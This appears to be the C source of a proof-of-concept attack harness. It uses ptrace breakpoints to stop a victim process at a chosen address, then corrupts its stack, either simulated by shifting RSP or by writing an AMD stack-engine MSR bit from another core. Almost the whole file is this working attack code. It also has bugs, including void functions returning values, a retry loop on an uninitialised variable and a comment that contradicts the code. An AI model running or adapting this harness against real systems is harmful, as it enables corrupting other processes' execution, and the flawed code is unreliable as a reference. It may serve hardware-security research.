#define _GNU_SOURCE
#include <memory.h>
#include <assert.h>
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <inttypes.h>
#include <sched.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/user.h>
#include <sys/wait.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/user.h>
#include <pthread.h>
#include <linux/elf.h>
#include <x86intrin.h>
#include <immintrin.h>

#include "./common/elf.h"

#include "cacheutils.h"


//#define DEBUGMODE

#define SIMULATION

#define PAGESIZE 4096

#define ATTACKER_CORE 6
#define VICTIM_CORE 7

#define FOLLOW_CHILD_ON_FORK 0

#define MSR_REG 0xC0011029ULL
#define STACKENGINE_BIT (1ULL << 19)

int fd; // msr fd

#include "profiler.h"

char* tracee_path;
uint64_t tracee_binary_base;

uint64_t breakpoint_addr;
long breakpoint_original_data; 

void error_exit(const char *msg) {
  fprintf(stderr, "%s: %s\n", msg, strerror(errno));  // Print error message with errno

  exit(EXIT_FAILURE);
}


void init_msr_module() {
  char msr_path[64];
  snprintf(msr_path, sizeof(msr_path), "/dev/cpu/%d/msr", ATTACKER_CORE);

  fd = open(msr_path, O_RDWR);
  if (fd < 0) {
      perror("open msr device");
      return EXIT_FAILURE;
  }
}

// if any of these substrings occur in a memory section, we do not monitor it
const char* libraries_to_ignore[] = {
    "ld-linux",
    NULL};

int ends_with(const char *str, const char *substr) {
  size_t str_len = strlen(str);
  size_t substr_len = strlen(substr);

  // If substr is longer it can't be at the end
  if (str_len < substr_len) {
    return 0;
  }

  // check for match at the end
  return strcmp(str + str_len - substr_len, substr) == 0;
}

// careful we do not allocate a new string here and just calculate the offset
const char* extract_filename(const char* filepath) {
  // get the last '/'
  const char* filename = strrchr(filepath, '/');
  if (filename == NULL) {
    return filepath;
  }
  // we return the substring after the last '/'
  return filename + 1;
}

// ============================================================================
// PTrace-based interface
// ============================================================================

int wait_for_process(pid_t pid) {
  int status;
  waitpid(pid, &status, 0);

  if (WIFEXITED(status)) {
   // tracee exited 
   return 1;
  }
  return 0;
}

int step_process(pid_t pid) {
  int status;
  if (ptrace(PTRACE_SINGLESTEP, pid, NULL, NULL) == -1) {
    error_exit("ptrace(PTRACE_SINGLESTEP) failed");
  }
  return wait_for_process(pid);
}

void attach_to_process(pid_t pid) {
  ptrace(PTRACE_SETOPTIONS, pid, 0, PTRACE_O_EXITKILL);
  int max_retries = 100;
  int retries = 0;
  long ret;
  while (ret == 1 && retries < max_retries) {
    ret = ptrace(PTRACE_ATTACH, pid, NULL, NULL);
  }
  if (ret == -1) {
    error_exit("ptrace(PTRACE_ATTACH) failed");
  }
}

uint64_t read_rip(pid_t pid) {
  struct user_regs_struct regs;
  long ret = ptrace(PTRACE_GETREGS, pid, NULL, &regs);
  if (ret == -1) {
    error_exit("ptrace(PTRACE_GETREGS) failed");
  }
  return regs.rip;
}


void set_breakpoint(pid_t pid, uint64_t addr) {
  if (breakpoint_addr != 0) {
    error_exit("Breakpoint already active. We do not support more than one.");
  }
#ifdef DEBUGMODE
  printf("[*] Setting breakpoint at 0x%" PRIx64 "\n", addr);
#endif
  breakpoint_addr = addr;

  // read out the original bytes at the address
  breakpoint_original_data = ptrace(PTRACE_PEEKTEXT, pid, (void*)addr, NULL);
  if (breakpoint_original_data == -1) {
    error_exit("ptrace(PTRACE_PEEKTEXT) failed: reading original data");
  }

  // set breakpoint (inserting 0xCC | int3 opcode)
  long data_int3 = (breakpoint_original_data & 0xFFFFFFFFFFFFFF00) | 0xCC;
  if (ptrace(PTRACE_POKETEXT, pid, (void*)addr, (void*)data_int3) == -1) {
    error_exit("ptrace(PTRACE_POKETEXT) failed: setting breakpoint");
  }
}

void restore_from_breakpoint(pid_t pid) {
  if (breakpoint_addr == 0) {
    error_exit("No active breakpoint to restore.");
  }

  // make sure we are at the breakpoint address
  uint64_t current_addr = read_rip(pid);  
  // a breakpoint is hit at the address after the int3 opcode, hence -1
  if (current_addr - 1 != breakpoint_addr) {
    printf("current_addr: 0x%" PRIx64 "\n", current_addr);
    printf("breakpoint_addr: 0x%" PRIx64 "\n", breakpoint_addr);
    error_exit("Caught SIGTRAP but not at breakpoint address.");
  }

  // restore original data
  if (ptrace(PTRACE_POKETEXT, pid, (void*)breakpoint_addr, (void*)breakpoint_original_data) == -1) {
    error_exit("ptrace(PTRACE_POKETEXT) failed: restoring original data");
  }

  // unset the breakpoint addr for internal book keeping
  breakpoint_addr = 0;
}

int continue_process(pid_t pid) {
  if (ptrace(PTRACE_CONT, pid, NULL, NULL) == -1) {
    error_exit("ptrace(PTRACE_CONT) failed");
  }
  return wait_for_process(pid);
}

void detach_from_process(pid_t pid) {
  if (ptrace(PTRACE_DETACH, pid, NULL, NULL) == -1) {
    error_exit("ptrace(PTRACE_DETACH) failed");
  }
  printf("[*] Detached from process %d\n", pid);
}

void continue_until_breakpoint_hit(pid_t pid) {
  int stop_signal = 0;
  int addr_is_correct = 0;
  while (stop_signal != SIGTRAP || !addr_is_correct) {
    if (ptrace(PTRACE_CONT, pid, NULL, NULL) == -1) {
      error_exit("ptrace(PTRACE_CONT) failed");
    }
    int status;
    waitpid(pid, &status, 0);
    stop_signal = WSTOPSIG(status);
    unsigned event = (unsigned) status >> 16;
    if (event == PTRACE_EVENT_FORK) {
      printf("[+] Fork event detected for process %d\n", pid);

      unsigned long newpid = 0;
      ptrace(PTRACE_GETEVENTMSG, pid, 0, &newpid);
      printf("Tracee %d forked child %lu\n", pid, newpid);

#if FOLLOW_CHILD_ON_FORK == 1
      // follow the child process
      pid_t parent = pid;
      pid = newpid;
      printf("[+] Following child process %d\n", pid);
      // detach from the parent process
      if (ptrace(PTRACE_DETACH, parent, NULL, NULL) == -1) {
        error_exit("ptrace(PTRACE_DETACH) failed");
      }
# else 
      // stay attached to the parent process
      pid_t child = newpid;
      printf("[+] Following parent process %d\n", pid);

      if (ptrace(PTRACE_CONT, child, NULL, NULL) == -1) {
        printf("[!] ptrace(PTRACE_CONT) from child failed\n");
      }
#endif
      

      // restore breakpoint after fork
      uint64_t tmp_breakpoint_addr = breakpoint_addr;
      breakpoint_addr = 0; // reset to evade checks
      set_breakpoint(pid, tmp_breakpoint_addr);
      continue;
    }
    if (stop_signal != SIGTRAP) {
      printf("[+] Probably spurious wakeup for process %d\n", pid, stop_signal);
    } else {
      uint64_t hit_addr = read_rip(pid);
      addr_is_correct = (hit_addr - 1 == breakpoint_addr);
      if (!addr_is_correct) {
        printf("[+] Hit SIGTRAP but not at breakpoint address.\n");
        printf("[+] Current RIP: 0x%" PRIx64 "\n", hit_addr);
        printf("[+] Breakpoint address: 0x%" PRIx64 "\n", breakpoint_addr);
        printf("[+] Continuing until actual breakpoint address is hit.\n");
      }
    }
  } 
  printf("[+] Hit Breakpoint at address: 0x%" PRIx64 "\n", read_rip(pid) - 1);
  restore_from_breakpoint(pid);
}

void print_mappings(pid_t pid) {
  printf("====== Memory mappings of tracee ======\n\n");
  char cmd[256] = {0};
  snprintf(cmd, sizeof(cmd), "cat /proc/%d/maps", pid);
  int ret = system(cmd);
  if (ret) {
    error_exit("system() failed");
  }
  printf("\n=======================================\n\n");
}

int is_ignored_library(const char* pathname) {
  for (size_t i = 0; libraries_to_ignore[i] != NULL; i++) {
    if (strstr(pathname, libraries_to_ignore[i]) != NULL) {
      return 1;
    }
  }
  return 0;
}

// returns 1 on success, 0 on failure
int load_tracee_memory_maps(pid_t pid, const char* tracee_name) {
  char fname[256] = {0};
  snprintf(fname, sizeof(fname), "/proc/%d/maps", pid);
  FILE *maps_file = fopen(fname, "r");
  if (maps_file == NULL) {
    error_exit("fopen failed");
  }

  int found_tracee_mappings = 0;
  char line[256];
  while (fgets(line, sizeof(line), maps_file)) {
    // Example line format:
    // 00400000-00452000 r-xp 00000000 08:01 123456  /usr/bin/cat

    unsigned long start, end;
    char perms[5];  // To store permission string like "r-xp"
    char pathname[256] = {0};
    
    // Parse the start and end addresses and permissions
    int parsed_fields = sscanf(
        line, 
        "%lx-%lx %4s %*s %*s %*s %255s", 
        &start, &end, perms, pathname);
    if (parsed_fields > 3) {

      if (found_tracee_mappings == 0 && ends_with(pathname, tracee_name)) {
#ifdef DEBUGMODE
        print_mappings(pid);
#endif
        printf("[+] Found tracee memory maps\n");
        printf("[+] Identified first binary section: %s\n", pathname);
        tracee_binary_base = start;
        printf("[+] Identified binary base: 0x%lx\n", tracee_binary_base);
        found_tracee_mappings = 1;
      }
      if (is_ignored_library(pathname)) {
        continue;
      }

      // Check if the page has executable permissions (check 'x' in perms)
      int is_exec_page = strchr(perms, 'x') != NULL;

    }
  }
  fclose(maps_file);
  return found_tracee_mappings;
}

uint64_t msr_value = -1;
void prep_stack_corruption() {
  if (pread(fd, &msr_value, sizeof(msr_value), MSR_REG) != sizeof(msr_value)) {
      perror("pread");
      close(fd);
      return EXIT_FAILURE;
  }

  run_profiling();
}

#ifdef SIMULATION
void trigger_stack_corruption(pid_t pid) {
  struct iovec iov;
  struct user_regs_struct regs;

  iov.iov_base = &regs;
  iov.iov_len  = sizeof(regs);
  ptrace(PTRACE_GETREGSET, pid, (void *)NT_PRSTATUS, &iov);
  regs.rsp += (unsigned long)32;
  ptrace(PTRACE_SETREGSET, pid, (void *)NT_PRSTATUS, &iov);
}
#else
void trigger_stack_corruption(pid_t pid) {
  assert(msr_value != -1);
  uint64_t disabled = msr_value & ~STACKENGINE_BIT;

  // enable the stack engine -> thus triggering the stack corruption
  pwrite(fd, &disabled, sizeof(disabled), MSR_REG);
}
#endif

int main(int argc, char* argv[]) {
  if (argc < 3) {
    fprintf(stderr, "Usage: %s <TARGET_ADDR> <program> [args...]\n", argv[0]);
    exit(EXIT_FAILURE);
  }

  char *endptr;
  uint64_t target_addr = strtoull(argv[1], &endptr, 0);
  tracee_path = argv[2];


  pid_t pid;
  pid = fork();
  if (pid == 0) {
      // child process
      ptrace(PTRACE_TRACEME, 0, 0, 0);
      sleep(2); // give parent time to attach
      set_cpu_affinity(VICTIM_CORE);
      int res = execvp(tracee_path, argv + 2);
      assert(res == 0 && "execvp failed");
      if (res != 0) {
        error_exit("execvp failed");
      }

  }
  // parent process
  set_cpu_affinity(ATTACKER_CORE);

  attach_to_process(pid);
  wait_for_process(pid);

  // Set options to observe forks
  if (ptrace(PTRACE_SETOPTIONS, pid, 0, PTRACE_O_TRACEFORK) == -1) {
      perror("PTRACE_SETOPTIONS");
      exit(1);
  }

  // we assume that argv[2] is the path to the ELF file of the tracee
  const char* tracee_name = extract_filename(tracee_path);

  init_msr_module();

  // step 1) we single-step the tracee until the new memory maps are loaded
  // (this is necessary as directly after the fork() the memory maps are not 
  //  loaded yet as the tracee is not yet started and its ELF file is not 
  //  yet loaded)
  sleep(1);
  int tracee_memory_is_initialized = 0;
  while (tracee_memory_is_initialized == 0) {
    int finished = step_process(pid);
    if (finished) {
      error_exit("tracee exited before memory maps were loaded."
        "Probably a bug in the tracer!?");
    }
    tracee_memory_is_initialized = load_tracee_memory_maps(pid, tracee_name);
  }

  //
  // step 2) we parse the symbol table of the tracee ELF and extract the locations
  //
  load_elf_symbols(tracee_path);

  //
  // step 3) we set a breakpoint at the target function and execute to it
  //

  // for dynamically linked binaries, we need to add the base address to 
  // the symbol address; else we must use the symbol address directly
  uint64_t main_addr = tracee_binary_base + lookup_elf_symbol("main");
  if (main_addr == -1) {
    printf("Tried looking up: main\n");
    error_exit("Symbol not found");
  }
  printf("[+] Setting breakpoint at main: 0x%llx\n", main_addr);
  set_breakpoint(pid, main_addr);
  continue_until_breakpoint_hit(pid);
  printf("[+] HIT Breakpoint at main: 0x%llx\n", main_addr);

  //
  // step 4) we update the memory maps to make sure we also include libraries 
  //  which were not loaded previously
  //printf("[+] Updating tracee maps, in case of lazy loaded libraries\n");
  //load_tracee_memory_maps(pid, tracee_name);


  // step until we hit the target address
  printf("[+] Setting breakpoint at target address: %llx\n", target_addr);
  set_breakpoint(pid, target_addr);
  printf("[+] Continuing until breakpoint\n");
  continue_until_breakpoint_hit(pid);

  printf("[+] Triggering stack corruption while resuming process\n");
  fflush(stdout);
#ifdef SIMULATION
  trigger_stack_corruption(pid);
#else
  prep_stack_corruption();
#endif

  // just run forever. 
  detach_from_process(pid);

#ifndef SIMULATION
  // trigger exploit
  usleep(3500000);
  trigger_stack_corruption(pid);
  printf("[+] Stack corruption triggered.\n");
#endif
  
  exit(EXIT_SUCCESS);
}
